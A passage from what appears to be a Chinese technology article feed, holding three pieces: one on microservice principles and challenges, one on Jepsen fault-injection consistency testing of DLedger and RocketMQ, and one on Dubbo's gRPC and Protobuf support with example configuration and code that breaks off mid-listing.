        2014 Martin Fowler 试图将 James Lewis 的微服务定义进行一般化推广,使其不光可以在不同的语言架构和技术栈上使用。又可以兼顾敏捷、DevOps 等其它技术,成为一个架构的“最佳实践”集合。提出 9 大特征:通过服务组件化、围绕业务能力组织、是产品不是项目、智能端点和哑管道、去中心化治理、去中心化数据管理、基础设施自动化、为失效设计、演进式设计

        2016年 Sam Newman 《Building Microservice》4个特征 7大原则。

        4 大特征:可以独立部署。通过网络通信。对消费方的透明。尽可能降低耦合,使其自治。

        7 大原则:围绕业务概念建模、接受自动化文化、隐藏内部实现细节、让一切都去中心化、可独立部署、隔离失败、高度可观察。

        lADPDgQ9rPAlxurNAtDNBQA_1280_720_jpg_620x10000q90g

        这里澄清一个观点,在工作过程中偶尔会听到某些同学说,我使用了 Dubbo ,使用了 spring-boot ,或者使用了 Spring-Cloud ,我开发出来的系统就是微服务。个人观点,微服务是一个架构风格或者架构原则,与实现系统的框架无关。比如:一个系统满足了上面的特征和原则,使用 WebService 通讯,难道就不是微服务吗?当然实际实施过程中应该选择一个轻量级的通讯框架。

        lADPDgQ9rPAlxuvNAtDNBQA_1280_720_jpg_620x10000q90g

        微服务从 2014 年在国内开始传播,到现在已经有 5 年时间里,关于微服务的优点论述的文章有很多,比如逻辑清晰、简化部署、可扩展、灵活组合、技术易购、故障隔离等等这就不做详细展开。

        全面微服务化带来的挑战

        lADPDgQ9rPAlxuzNAtDNBQA_1280_720_jpg_620x10000q90g

        1. 可用率降低

        全面微服务化之后,原先的单个应用可能会拆分为多个独立进程。为避免进程之间争用资源,一般公司都会独立部署,即单个虚拟机内只部署一个 jvm 进程。由此带来了更多服务器、网络设备、安全设备,这些硬件设备的可靠性都会影响到业务连续性。

        服务跨进程间通讯,必然要选择一种通讯协议、序列化框架,额外引入的代码可靠性也会对整体的可用性造成影响。
        因此,微服务的设计是需要面向故障进行设计,在设计要考虑重试、幂等、故障隔离、熔断、降级等等。

        2. 事务复杂度

        微服务拆分后,虽然按照领域模型做了解耦,但不可避免会带来分布式事务问题。目前分布式事务在社区也有一些解决方案和开源框架,方案有基于消息队列最终一致、TCC 分布式事务框架以及自动化的分布式事务框架,例如 Seata 等,但分布式事务的处理,对开发人员设计要求比较高,使用成本较高。

        lADPDgQ9rPAlxu7NAtDNBQA_1280_720_jpg_620x10000q90g

        在拆分的时候,建议还是尽可能避免分布式事务,引入分布式事务框架要评估成本和收益。

        3. 运维复杂度

        当一个单体应用拆分为多个微服务之后,应用数量会大幅增加。如果没有一个可靠稳定的运维平台或资源编排平台(如 k8s ),全面微服务化,对运维就是一个灾难,工作量的大幅增加,直接会影响系统稳定性进而影响到业务连续性。
        lADPDgQ9rPAlxvHNAtDNBQA_1280_720_jpg_620x10000q90g

        4. 调试优化复杂度

        应用拆分后,业务调用关系变复杂,调用链整体变长。如果没有一套合适的调用链追踪平台,很难定位到整个系统的性能瓶颈,调优成本很高。另一个问题是,生产环境业务数据异常时,由于调用链过长,如果没有规范的 Request、Response 日志,很容易造成各服务之间相互甩锅,难以定位问题。全面微服务化之后,由于众多的服务节点,调优排查错误更加依赖于日志平台,高性能的日志平台也会提高效率。

        lADPDgQ9rPAlxvPNAtDNBQA_1280_720_jpg_620x10000q90g

        5. 测试难度

        在单体应用的时候,调用链路短,一般都是做黑盒测试,测试人员无需了解复杂的业务实现。而进行微服务改造后,单个业务可能会由多个服务组合编排完成,如果继续做黑盒测试,意味着必须等待所有服务开发完成之后才能进行,导致测试周期边长、定位困难,做边界测试需要更多的测试用例才能覆盖,测试整体成本会变高。这种情况下,单元测试、单系统测试的重要性就凸显出来了。如果需要做单系统测试,可能需要 mock 被调用的服务,通讯协议使用 http 还好,社区有很多开源的框架可以使用。如果是 RPC 框架,意味着需要准备一套好用的 mock 测试系统才能支撑单系统测试。

        lADPDgQ9rPAlxvbNAtDNBQA_1280_720_jpg_620x10000q90g

        6. 聚合查询

        在领域建模的时候,一般是按照用户角度去划分,而运营需求与用户需求天生不是一个维度的。举个例子:按用户维度领域建模,会划分用户服务、订单服务,用户和订单数据存储在不同的数据库,假设运营有一个需求是查询某个年龄段用户的订单,在用户达到千万级的时候,这种需求对微服务体系是个灾难。需要一个强大的大数据平台对数据按业务维度进行聚合,才能满足运营的查询需求和报表功能。
        lADPDgQ9rPAlxvjNAtDNBQA_1280_720_jpg_620x10000q90g

        微服务拆分原则

        lADPDgQ9rPAlxvvNAtDNBQA_1280_720_jpg_620x10000q90g

        微服务拆分原则中,特别需要提到的是康威定律。

        康维定律简单来说就是系统设计(产品结构)等同组织形式,每个设计系统的组织,其产生的设计等同于组织之间的沟通结构。如果单个服务由不同组织管理,需求无法达成统一,面临着令出多头、需求干扰的风险。

        伸缩需求,同一个进程之内的不同业务功能,有时在业务量方面会出现较大的差异,具体要求的进程数量会有较大差别,这样的模块锁定在同一进程之内,势必会造成资源的浪费。

        部署频率,同一个交付物内不同的组件有着不同的上线频率,会大大的提高上线流程的发生频率,会造成较大的人员浪费。

        修改的相关性,如果同一交付物内的不同组件,经常会被同步修改,这可能说明,如果发生拆分,这两个模块应该是”在一起“的。

        领域建模,针对业务领域,引入限界上下文(Bounded Context)和上下文映射 (Context Map)对业务领域进行合理的分解,识别出核心领域(Core Domain) 与子领域(SubDomain),并确定领域的边界以及它们之间的关系。依据核心领域和子领域划分微服务边界。

        对于一个单体应用,拆分过程应该是循序渐进、逐步拆分、由简到繁、由粗到细,是一个渐进的过程。例如先将有明显边界的业务拆分为独立服务,无法明细边界的先混在一起,等业务需求逐步清晰后再拆。拆分时先拆分为几个相对较粗粒度的服务,根据业务需求情况,逐步将粗粒度的服务中相对稳定,可以沉淀的业务拆分为独立服务。在这个过程中,原有的单体应用也可以承担部分兼容能力,在改造完成前,不对外部系统造成过大的影响。
        lADPDgQ9rPAlxvzNAtDNBQA_1280_720_jpg_620x10000q90g

        微服务的拆分是跟业务需求强相关的,如果业务需求变更不多、相对稳定,处理的请求并发量不高,单体应用的稳定性和可维护性更好,更加适用。

        总结

        微服务不是银弹,是用来处理海量用户、业务复杂和需求频繁变更场景下的一种架构风格。引用一句话“好的架构是演化出来的,而不是设计出来的”。任何一种架构的引入,都会带来利弊两个方面的影响,如何平衡才最重要。

        四川新网银行是全国三家互联网银行之一,于 2016 年 12 月 28 日正式开业。新网银行注册资本 30 亿元,由新希望集团、小米、红旗连锁等股东发起设立,是银监会批准成立的全国第七家民营银行,也是四川省首家民营银行,同时也是全国第二家获得国家高新技术企业认定的银行。新网银行坚持“移动互联、普惠补位”的差异化定位,以及“数字普惠、开放连接”的特色化经营,着力打造成为一家数字科技普惠银行,依托领先的金融科技能力、稳健的大数据风控技术和高效的互联网开放平台运营模式,服务小微群体、支持实体经济、践行普惠金融。截止目前服务用户数 2900 多万,累计放款 9000 多万笔。
        lADPDgQ9rPAlxv3NAtDNBQA_1280_720_jpg_620x10000q90g

        作者信息:谢延泽,目前就职于新网银行,负责技术中台建设,核心系统技术架构设计。关注云原生领域,探索在金融行业实践思路。

        ]]>
        当 Messaging 遇上 Jepsen Fri, 02 May 2025 09:39:04 +0800 分布式系统面临的挑战



        Is it better to be alive and wrong or right and dead?


        随着计算机技术的发展,系统架构从集中式演进到分布式。分布式系统相对于单台机器来说提供了更好的可扩展性,容错性以及更低的延迟,但在单台计算机上运行软件和分布式系统上运行软件却有着根本的区别,其中一点便是单台计算机上运行软件,错误是可预测的。当硬件没有故障时,运行在单台计算机的软件总是产生同样的结果;而硬件如果出现问题,那么后果往往是整个系统的故障。因此,对于单体系统来说,要么功能完好且正确,要么完全失效,而不是介于两者之间。

        而分布式系统则复杂的多。分布式系统涉及到多个节点和网络,因而存在部分失效的问题。分布式系统中不可靠的网络会导致数据包可能会丢失或任意延迟,不可靠的时钟导致某节点可能会与其他节点不同步 ,甚至一个节点上的进程可能会在任意时候暂停一段相当长的时间(比如由于垃圾收集器导致)而被宣告死亡,这些都给分布式系统带来了不确定性和不可预测性。事实上,这些问题在分布式系统中是无法避免的,就像著名的CAP理论中提出的,P(网络分区)是永远存在的,而不是可选的。

        既然分布式系统中故障是无法避免的,那么处理故障最简单的方法便是让整个服务失效,让应用“正确地死去”,但这并不是所有应用都能接受。故障转移企图解决该问题,当故障发生时将其中一个从库提升为主库,使新主库仍然对外提供服务。但是主从数据不一致、脑裂等问题可能会让应用“错误地活着”。代码托管网站Github在一场事故中,就因为一个过时的MySQL从库被提升为主库 ,造成MySQL和 Redis中数据产生不一致,最后导致一些私有数据泄漏到错误的用户手中 。为了减轻故障带来的影响,我们需要通过某种手段来确保数据的一致性,而如何验证大规模分布式系统在故障下依然正确和稳定(可靠性)成为了新的难题。

        可靠性验证

        分布式系统可靠性的验证可以采用形式化规范来进行,比如TLA+,但是这样的验证需要大量的特定理论知识。另一个方式是通过测试来验证,但普通的单元测试和集成测试无法覆盖到一些只有在高并发或者故障发生时才会出现的边缘情况,这些给分布式系统测试带来了新的挑战。

        混沌工程的出现带来了新的验证思路,企业需要在测试阶段发现问题,通过“蓄意”引发故障来确保容错机制不断运行并接受考验,从而提高故障自然发生时系统能正确处理的信心。出身于SRE的Pavlos Ratis,在自己的GitHub 仓库awesome-chaos-engineering ,维护了与混沌工程相关的书籍、工具、论文、博客、新闻资讯、会议、论坛和 Twitter 账号。另外,故障注入后,除了观察系统的可用性,还需要保证系统提供的服务是正确的,也就是系统仍然需要符合预期的一致性,Jepsen目前被认为是工程领域在一致性验证方面的最佳实践(下图展示了Jepsen可验证的一致性模型)。

        lALPDgQ9rQShIRbNAt_NBDg_1080_735_png_620x10000q90g

        Jepsen能在特定故障下验证系统是否满足一致性,在过去5年里,Kyle Kingsbury已经帮助无数的早期分布式系统进行过测试,比如Redis、Etcd、Zookeeper等。Jepsen系统如下图所示,其由 6 个节点组成,一个控制节点,五个DB 节点。控制节点可以通过SSH登录到DB节点,通过控制节点的控制,可以在DB节点完成分布式系统的部署,组成一个待测试的集群。测试开始后,控制节点会创建一组进程,进程包含了待测试分布式系统的客户端。另一个Generator进程产生每个客户端执行的操作,并将操作应用于待测试的分布式系统。每个操作的开始和结束以及操作结果记录在历史记录中。同时,一个特殊进程Nemesis将故障引入系统。测试结束后,Checker分析历史记录是否正确,是否符合一致性。

        lALPDgQ9rQShIRfNAlDNBDg_1080_592_png_620x10000q90g

        Jepsen一方面提供了故障注入的手段,能模拟各种各样的故障,比如网络分区,进程崩溃、CPU超载等。另一方面,它提供了各种校验模型,比如Set、Lock、Queue等来检测各种分布式系统在故障下是否仍然满足所预期的一致性。通过Jepsen测试,能发现分布式系统在极端故障下的隐藏错误,从而提高分布式系统的容错能力。因此Jepsen测试被应用到许多分布式数据库或分布式协调服务集群的可靠性检测中,成为验证分布式系统一致性验证的重要手段。而现在我们以基于日志的分布式存储库DLedger和分布式消息队列RocketMQ为例,介绍Jepsen测试在分布式消息系统中的应用。

        DLedger的Jepsen测试

        DLedger是一个基于raft的java库,用于构建高可用性、高持久性、强一致性的commitlog。如下图所示,DLedger去掉了raft协议中状态机的部分,但基于Raft协议保证commitlog是一致的,并且是高可用的。

        lALPDgQ9rQShIRjNAlTNBDg_1080_596_png_620x10000q90g

        在对DLedger进行Jepsen测试之前,首先需要明确DLedger需要满足怎样的一致性。在Jepsen测试中,许多基于raft的分布式应用都采用线性一致性对系统进行验证。线性一致性是最强的一致性模型之一,满足线性一致性的系统,能提供一些唯一性约束的服务,比如分布式锁,选主等。但从DLedger的定位来看,它是一个Append only的日志系统,并不需要如此严格的一致性,数据的最终一致性更加符合我们对DLedger在故障下的正确性要求。因此采用Jepsen的Set测试对DLedger在各种故障下的一致性进行检测。

        Set测试流程如下图所示,主要分为两个阶段。第一阶段由不同的客户端并发地向待测试集群添加不同的数据,中间会进行故障注入。第二阶段,向待测试的集群进行一次最终读取,获得读取的结果集。最后验证每一个成功添加的元素都在最终结果集中,并且最终的结果集也仅包含企图添加的元素。

        lADPDgQ9rQShIRrM_s0EOA_1080_250_jpg_620x10000q90g

        在实际测试中,我们开启30个客户端进程并发地向待测试的DLedger集群添加连续不重复的数字,中间会引入特定故障,比如非对称网络分区,随机杀死节点等。故障引入的间隔时间是30s,即30s正常运行,30s故障注入,一直循环,整个阶段一共持续600s。并发写阶段结束以后,执行最终的读取,获得结果集并进行校验。

        故障注入方面,我们测试以下几种故障注入:

        • partition-random-node和partition-random-halves故障是模拟常见的对称网络分区。
        • kill-random-processes和crash-random-nodes故障是模拟进程崩溃,节点崩溃的情况。
        • hammer-time故障是模拟一些慢节点的情况,比如发生Full GC、OOM等。
        • bridge和partition-majorities-ring模拟比较极端的非对称网络分区。

        lADPDgQ9rQShIRvNApvNBDg_1080_667_jpg_620x10000q90g

        我们以随机网络分区故障partition-random-halves为例,分析测试结果。在测试完成后,日志中会出现如下图所示的结果:

        lALPDgQ9rQShIRzNAWzNAbU_437_364_png_620x10000q90g

        可以看到测试过程中30个客户端一共发送了167354个数据(attempt-count),add成功返回167108个数据(acknowledged-count),实际成功添加167113个数据(ok-count),有5个由于请求超时或者多数认证超时导致无法确定是否添加成功,但却出现在最终读取结果集中的数据(recovered-count)。由于lost-count=0并且unexpected-count=0,因此最终一致性验证结果是通过的。
        以图表的形式更好分析DLedger集群在测试过程中的表现情况。客户端对DLedger集群每一次操作的时延如下图所示。

        lALPDgQ9rQShIR3NAZDNA4Q_900_400_png_620x10000q90g

        其中蓝色框表示数据添加成功,红色框表示数据添加失败,黄色框表示不确定是否数据添加成功,图中灰色部分表示故障注入的时间段。可以看出一些故障注入时间段造成了集群短暂的不可用,一些故障时间段则没有,这是合理的。由于是随机网络分区,所以只有当前leader被隔离到少数节点区域才会造成集群重新选举,但即使造成集群重新选举,在较短时间内,DLedger集群也会恢复可用性。此外,可以看到由于DLedger对对称网络分区有较好的容错设计,每次故障恢复后,集群不会发生重新选举。

        下图展示了DLedger在测试过程中时延百分位点图。

        lALPDgQ9rQShIR7NAZDNA4Q_900_400_png_620x10000q90g

        可以看到除了在一些故障引入后造成集群重新选举的时间段,时延升高,在其他的时间段,Dledger集群表现稳定,95%的数据添加延迟在5ms以下,99%的数据添加延迟在10ms以下。DLedger在随机对称网络分区故障注入下,表现稳定,符合预期。

        除了随机对称网络分区,DLedger在其他5种故障注入下也均通过了Set测试的一致性验证,证明了DLedger对网络分区,进程、节点崩溃等故障的容错能力。

        RocketMQ的Jepsen测试

        Apache RocketMQ是一个具有低延迟、高性能、高可靠性和灵活可扩展性的分布式消息队列。RocketMQ从4.5.0版本之后支持DLedger方式部署,使单组broker具有故障转移能力,具有更好的可用性和可靠性。现在我们用Jepsen来检测RocketMQ DLedger部署模式的容错能力。

        首先依旧需要明确RocketMQ在故障下需要满足怎样的一致性。Jepsen为分布式系统提供了total-queue的测试,total-queue测试需要系统满足入队的数据必须出队,也就是消息的传输必须满足at-least-once。这符合我们对RocketMQ在故障下正确性要求,因此采用total-queue对RocketMQ进行Jepsen测试。

        total-queue测试如下图所示,主要分为两个阶段。第一阶段客户端进程并发地向集群随机调用入队和出队操作,入队和出队操作比例各占一半,中间会注入故障。第二阶段,为了保证每一个数据都出队,客户端进程调用drain操作,抽干队列。

        lADPDgQ9rQShISDNASXNBDg_1080_293_jpg_620x10000q90g

        在实际的测试过程中,我们开启4个客户端进程并发地向待测试的RocketMQ集群进行入队和出队操作,中间会引入特定故障。故障注入间隔时间是200s,整个阶段一共持续1小时。第一阶段结束以后,客户端执行drain操作,抽干队列。

        依旧采用上文所述的六种故障注入进行测试,以随机杀死节点故障为例来分析测试结果(为了保证杀死节点个数不会导致整个集群不可用,代码保证每次故障注入只杀死少数个节点),测试完成后,出现如下图所示结果:

        lADPDgQ9rQShISPNAQfNAVg_344_263_jpg_620x10000q90g

        可以看到测试过程中30个客户端一共试图入队65947个数据(attempt-count),入队成功返回64390个数据(acknowledged-count),实际成功入队64390个数据(ok-count),无重复出队的数据,因此故障下的一致性验证是通过的。

        我们以图表形式更好的分析故障下RocketMQ的表现。下图是客户端对RocketMQ集群每一次操作的时延图。

        lALPDgQ9rQShISbNAZDNA4Q_900_400_png_620x10000q90g

        其中红色小三角形表示入队失败,如果一段时间内存在大量的红色小三角形则表示该时间段系统不可用,从图中可以发现在故障注入(灰色区域)初期存在一些系统不可用的时间段,这是故障引发集群重新选举造成的,一段时间后集群仍能恢复可用性。但是可以发现在故障恢复后,也存在系统不可用的时间段,这并不符合预期。

        通过日志排查发现,故障恢复后集群不可用的时间几乎都在30秒左右,这正是broker向nameserver的注册间隔。进一步排查发现,这段时间内nameserver中master broker路由信息出现了丢失。原来在故障恢复后,被杀死的broker进程进行重启,此时默认brokerId为零,在brokerId被修改之前,broker向nameserver进行注册,从而覆盖了原本master broker路由信息,造成集群在该段时间内不可用。对该问题进行修复并重新进行Jepsen测试,重新测试的时延图如下图所示。

        lALPDgQ9rQShISfNAZDNA4Q_900_400_png_620x10000q90g

        重新测试的结果表明问题已经被修复,故障恢复后不存在不可用的时间段。通过Jepsen测试,我们发现了RocketMQ DLedger部署模式在故障注入下可用性方面的问题,并从代码上进行了优化,贡献给RocketMQ社区。我们也检测了其他故障注入下RocketMQ的表现情况,均通过了total-queue测试的一致性验证。

        Jepsen测试的一些思考

        以DLedger和RocketMQ为例,我们利用Jepsen对分布式消息系统进行了故障下的一致性验证。在测试过程中,也发现了Jepsen框架存在的一些缺陷。

        Jepsen测试无法长时间运行。Jepsen测试长时间运行会产生大量的数据,这导致其校验阶段出现OOM,但在实际场景中,许多深藏的bug需要长时间的压力测试、故障模拟才能发现,同时系统的稳定性也需要长时间的运行才能被验证。

        Jepsen测试提供的模型还无法完全覆盖到特定领域。比如在分布式消息领域,Jepsen仅提供了queue和total-queue的测试,来验证消息系统在故障下是否会出现消息丢失,消息重复。但是对于分布式消息队列重要的分区顺序性、全局顺序性、重平衡算法的有效性并未覆盖到。

        分布式消息标准openmessaging社区也试图解决这些问题,从而提供消息领域更加完备的可靠性验证。DLedger的Jepsen测试代码也已经放到openmessaging的openmessaging-dledger-jepsen仓库下,并提供了Docker启动模式,方便用户能快速地在单台机器上进行测试。

        故障所引发的错误代价非常大,电商网站的中断会导致收入和声誉的巨大损失,云厂商提供的系统发生宕机或故障时,会给用户或他们的用户带来沉痛的代价。如何让分布式系统在困境(硬件故障、软件故障、人为错误)中仍可正确完成功能,并能达到期望的性能水准,这不仅要从算法设计和代码实现上解决,还需要利用分布式系统测试工具提前模拟各种故障,从失败中找到深层的问题,提高系统的容错能力。这样才能在意外真的发生时,将意外的损失降到最低。


        本文作者:金融通

        ]]>
        Dubbo 在跨语言和协议穿透性方向的探索:支持 HTTP/2 gRPC Fri, 02 May 2025 09:39:04 +0800 Dubbo 在跨语言和协议穿透性方向上的探索:支持 HTTP/2 gRPC 和 Protobuf

        本文整理自刘军在 Dubbo 成都 meetup 上分享的《Dubbo 在多语言和协议穿透性方向上的探索》。

        本文总体上可分为基础产品简介、Dubbo 对 gRPC (HTTP/2) 和 Protobuf 的支持及示例演示三部分,在简介部分介绍了 Dubbo、HTTP/2、gRPC、Protobuf 的基本概念和特点;第二部分介绍了 Dubbo 为何要支持 gRPC (HTTP/2) 和 Protobuf,以及这种支持为 gRPC 和 Dubbo 开发带来的好处与不同;第三部分通过两个实例分别演示了 Dubbo gRPC 和 Dubbo Protobuf 的使用方式。

        基本介绍

        Dubbo 协议

        从协议层面展开,以下是当前 2.7 版本支持的 Dubbo 协议

        lALPDgQ9rQuH0IjNAdDNBPA_1264_464_png_620x10000q90g

        众所周知,Dubbo 协议是直接定义在 TCP 传输层协议之上,由于 TCP 高可靠全双工的特点,为 Dubbo 协议的定义提供了最大的灵活性,但同时也正是因为这样的灵活性,RPC 协议普遍都是定制化的私有协议,Dubbo 同样也面临这个问题。在这里我们着重讲一下 Dubbo 在协议通用性方面值得改进的地方,关于协议详细解析请参见官网博客

        • Dubbo 协议体 Body 中有一个可扩展的 attachments 部分,这给 RPC 方法之外额外传递附加属性提供了可能,是一个很好的设计。但是类似的 Header 部分,却缺少类似的可扩展 attachments,这点可参考 HTTP 定义的 Ascii Header 设计,将 Body Attachments 和 Header Attachments 做职责划分。
        • Body 协议体中的一些 RPC 请求定位符如 Service Name、Method Name、Version 等,可以提到 Header 中,和具体的序列化协议解耦,以更好的被网络基础设施识别或用于流量管控。
        • 扩展性不够好,欠缺协议升级方面的设计,如 Header 头中没有预留的状态标识位,或者像 HTTP 有专为协议升级或协商设计的特殊 packet。
        • 在 Java 版本的代码实现上,不够精简和通用。如在链路传输中,存在一些语言绑定的内容;消息体中存在冗余内容,如 Service Name 在 Body 和 Attachments 中都存在。

        HTTP/1

        相比于直接构建与 TPC 传输层的私有 RPC 协议,构建于 HTTP 之上的远程调用解决方案会有更好的通用性,如WebServices 或 REST 架构,使用 HTTP + JSON 可以说是一个事实标准的解决方案。

        之所有选择构建在 HTTP 之上,我认为有两个最大的优势:

        1. HTTP 的语义和可扩展性能很好的满足 RPC 调用需求。
        2. 通用性,HTTP 协议几乎被网络上的所有设备所支持,具有很好的协议穿透性。

        lALPDgQ9rQuH0IrNAZrNAvo_762_410_png_620x10000q90g

        具体来说,HTTP/1 的优势和限制是:

        • 典型的 Request – Response 模型,一个链路上一次只能有一个等待的 Request 请求
        • HTTP/1 支持 Keep-Alive 链接,避免了链接重复创建开销
        • Human Readable Headers,使用更通用、更易于人类阅读的头部传输格式
        • 无直接 Server Push 支持,需要使用 Polling Long-Polling 等变通模式

        HTTP/2

        HTTP/2 保留了 HTTP/1 的所有语义,在保持兼容的同时,在通信模型和传输效率上做了很大的改进。

        lALPDgQ9rQuH0IzNAufNA90_989_743_png_620x10000q90g

        • 支持单条链路上的 Multiplexing,相比于 Request - Response 独占链路,基于 Frame 实现更高效利用链路
        • Request - Stream 语义,原生支持 Server Push 和 Stream 数据传输
        • Flow Control,单条 Stream 粒度的和整个链路粒度的流量控制
        • 头部压缩 HPACK
        • Binary Frame
        • 原生 TLS 支持

        gRPC

        上面提到了在 HTTP 及 TCP 协议之上构建 RPC 协议各自的优缺点,相比于 Dubbo 构建于 TPC 传输层之上,Google 选择将 gRPC 直接定义在 HTTP/2 协议之上,关于 gRPC 的 基本介绍设计愿景 请参考以上两篇文章,我这里仅摘取 设计愿景 中几个能反映 gRPC 设计目的特性来做简单说明。

        • Coverage & Simplicity,协议设计和框架实现要足够通用和简单,能运行在任何设备之上,甚至一些资源首先的如 IoT、Mobile 等设备。
        • Interoperability & Reach,要构建在更通用的协议之上,协议本身要能被网络上几乎所有的基础设施所支持。
        • General Purpose & Performant,要在场景和性能间做好平衡,首先协议本身要是适用于各种场景的,同时也要尽量有高的性能。
        • Payload Agnostic,协议上传输的负载要保持语言和平台中立。
        • Streaming,要支持 Request - Response、Request - Stream、Bi-Steam 等通信模型。
        • Flow Control,协议自身具备流量感知和限制的能力。
        • Metadata Exchange,在 RPC 服务定义之外,提供额外附加数据传输的能力。

        总的来说,在这样的设计理念指导下,gRPC 最终被设计为一个跨语言、跨平台的、通用的、高性能的、基于 HTTP/2 的 RPC 协议和框架。

        Protobuf

        Protocol buffers (Protobuf) 是 Google 推出的一个跨平台、语言中立的结构化数据描述和序列化的产品,它定义了一套结构化数据定义的协议,同时也提供了相应的 Compiler 工具,用来将语言中立的描述转化为相应语言的具体描述。

        它的一些特性包括:

        • 跨语言 跨平台,语言中立的数据描述格式,默认提供了生成多种语言的 Compiler 工具。
        • 安全性,由于反序列化的范围和输出内容格式都是 Compiler 在编译时预生成的,因此绕过了类似 Java Deserialization Vulnarability 的问题。
        • 二进制 高性能
        • 强类型
        • 字段变更向后兼容
            message Person {
              required string name = 1;
              required int32 id = 2;
              optional string email = 3;
        
              enum PhoneType {
                MOBILE = 0;
                HOME = 1;
                WORK = 2;
              }
        
              message PhoneNumber {
                required string number = 1;
                optional PhoneType type = 2 [default = HOME];
              }
        
              repeated PhoneNumber phone = 4;
            }

        除了结构化数据描述之外,Protobuf 还支持定义 RPC 服务,它允许我们定义一个 .proto 的服务描述文件,进而利用 Protobuf Compiler 工具生成特定语言和 RPC 框架的接口和 stub。后续将要具体讲到的 gRPC + Protobuf、Dubbo-gRPC + Protobuf 以及 Dubbo + Protobuf 都是通过定制 Compiler 类实现的。

        service SearchService {
            rpc Search (SearchRequest) returns (SearchResponse);
        }

        Dubbo 所做的支持

        跨语言的服务开发涉及到多个方面,从服务定义、RPC 协议到序列化协议都要做到语言中立,同时还针对每种语言有对应的 SDK 实现。虽然得益于社区的贡献,现在 Dubbo 在多语言 SDK 实现上逐步有了起色,已经提供了包括 Java, Go, PHP, C#, Python, NodeJs, C 等版本的客户端或全量实现版本,但在以上提到的跨语言友好型方面,以上三点还是有很多可改进之处。

        • 协议,上面我们已经分析过 Dubbo 协议既有的缺点,如果能在 HTTP/2 之上构建应用层协议,则无疑能避免这些弊端,同时最大可能的提高协议的穿透性,避免网关等协议转换组件的存在,更有利于链路上的流量管控。考虑到 gRPC 是构建在 HTTP/2 之上,并且已经是云原生领域推荐的通信协议,Dubbo 在第一阶段选择了直接支持 gRPC 协议作为当前的 HTTP/2 解决方案。我们也知道 gRPC 框架自身的弊端在于易用性不足以及服务治理能力欠缺(这也是目前绝大多数厂商不会直接裸用 gRPC 框架的原因),通过将其集成进 Dubbo 框架,用户可以方便的使用 Dubbo 编程模型 + Dubbo 服务治理 + gRPC 协议通信的组合。
        • 服务定义,当前 Dubbo 的服务定义和具体的编程语言绑定,没有提供一种语言中立的服务描述格式,比如 Java 就是定义 Interface 接口,到了其他语言又得重新以另外的格式定义一遍。因此 Dubbo 通过支持 Protobuf 实现了语言中立的服务定义。
        • 序列化,Dubbo 当前支持的序列化包括 Json、Hessian2、Kryo、FST、Java 等,而这其中支持跨语言的只有 Json、Hessian2,通用的 Json 有固有的性能问题,而 Hessian2 无论在效率还是多语言 SDK 方面都有所欠缺。为此,Dubbo 通过支持 Protobuf 序列化来提供更高效、易用的跨语言序列化方案。

        示例

        示例 1,使用 Dubbo 开发 gRPC 服务

        gRPC 是 Google 开源的构建在 HTTP/2 之上的一个 PRC 通信协议。Dubbo 依赖其灵活的协议扩展机制,增加了对 gRPC (HTTP/2) 协议的支持。

        目前的支持限定在 Dubbo Java 语言版本,后续 Go 语言或其他语言版本将会以类似方式提供支持。下面,通过一个简单的示例来演示如何在 Dubbo 中使用 gRPC 协议通信。

        1. 定义服务 IDL

        首先,通过标准的 Protobuf 协议定义服务如下:

             syntax = "proto3";
            
            option java_multiple_files = true;
            option java_package = "io.grpc.examples.helloworld";
            option java_outer_classname = "HelloWorldProto";
            option objc_class_prefix = "HLW";
            
            package helloworld;
            
            // The greeting service definition.
            service Greeter {
              // Sends a greeting
              rpc SayHello (HelloRequest) returns (HelloReply) {}
            }
            
            // The request message containing the user's name.
            message HelloRequest {
              string name = 1;
            }
            
            // The response message containing the greetings
            message HelloReply {
              string message = 1;
            }

        在此,我们定义了一个只有一个方法 sayHello 的 Greeter 服务,同时定义了方法的入参和出参,

        2. Protobuf Compiler 生成 Stub

        1. 定义 Maven Protobuf Compiler 插件工具。这里我们扩展了 Protobuf 的 Compiler 工具,以用来生成 Dubbo 特有的 RPC stub,此当前以 Maven 插件的形式发布。
        <plugin>
          <groupId>org.xolstice.maven.plugins</groupId>
          <artifactId>protobuf-maven-plugin</artifactId>
          <version>0.5.1</version>
          <configuration>
            <protocArtifact>com.google.protobuf:protoc:3.7.1:exe:${os.detected.classifier}    
            </protocArtifact>
            <pluginId>dubbo-grpc-java</pluginId>
            <pluginArtifact>org.apache.dubbo:protoc-gen-dubbo-java:1.19.0-SNAPSHOT:exe:${os.detected.classifier}</pluginArtifact>
            <outputDirectory>build/generated/source/proto/main/java</outputDirectory>
            <clearOutputDirectory>false</clearOutputDirectory>
            <pluginParameter>grpc</pluginParameter>
          </configuration>
          <executions>
            <execution>
              <goals>
                <goal>compile</goal>
                <goal>compile-custom</goal>
              </goals>
            </execution>
          </executions>
        </plugin>

        其中,

        pluginArtifact 指定了 Dubbo 定制版本的 Java Protobuf Compiler 插件,通过这个插件来在编译过程中生成 Dubbo 定制版本的 gRPC stub。

        <pluginArtifact>org.apache.dubbo:protoc-gen-dubbo-java:1.19.0-SNAPSHOT:exe:${os.detected.classifier}</pluginArtifact>

        由于 protoc-gen-dubbo-java 支持 gRPC 和 Dubbo 两种协议,可生成的 stub 类型,默认值是 gRPC,关于 dubbo 协议的使用可参见 使用 Protobuf 开发 Dubbo 服务。

        <pluginParameter>grpc</pluginParameter>

        2. 生成 Java Bean 和 Dubbo-gRPC stub

        # 运行以下 maven 命令
        $ mvn clean compile

        生成的 Stub 和消息类 如下:

        重点关注 GreeterGrpc ,包含了所有 gRPC 标准的 stub 类/方法,同时增加了 Dubbo 特定的接口,之后 Provider 端的服务暴露和 Consumer 端的服务调用都将依赖这个接口。

        /**
        * Code generated for Dubbo
        */
        public interface IGreeter {
        
          default public io.grpc.examples.helloworld.HelloReply     sayHello(io.grpc.examples.helloworld.HelloRequest request) {
            throw new UnsupportedOperationException("No need to override this method, extend XxxImplBase and override all methods it allows.");
          }
        
          default public com.google.common.util.concurrent.ListenableFuture<io.grpc.examples.helloworld.HelloReply> sayHelloAsync(
            io.grpc.examples.helloworld.HelloRequest request) {
            throw new UnsupportedOperationException("No need to override this method, extend XxxImplBase and override all methods it allows.");
          }
        
          public void sayHello(io.grpc.examples.helloworld.HelloRequest request,
                               io.grpc.stub.StreamObserver<io.grpc.examples.helloworld.HelloReply> responseObserver);
        
        }

        3. 业务逻辑开发

        继承 GreeterGrpc.GreeterImplBase (来自第 2 步),编写业务逻辑,这点和原生 gRPC 是一致的。

        package org.apache.dubbo.samples.basic.impl;
        
        import io.grpc.examples.helloworld.GreeterGrpc;
        import io.grpc.examples.helloworld.HelloReply;
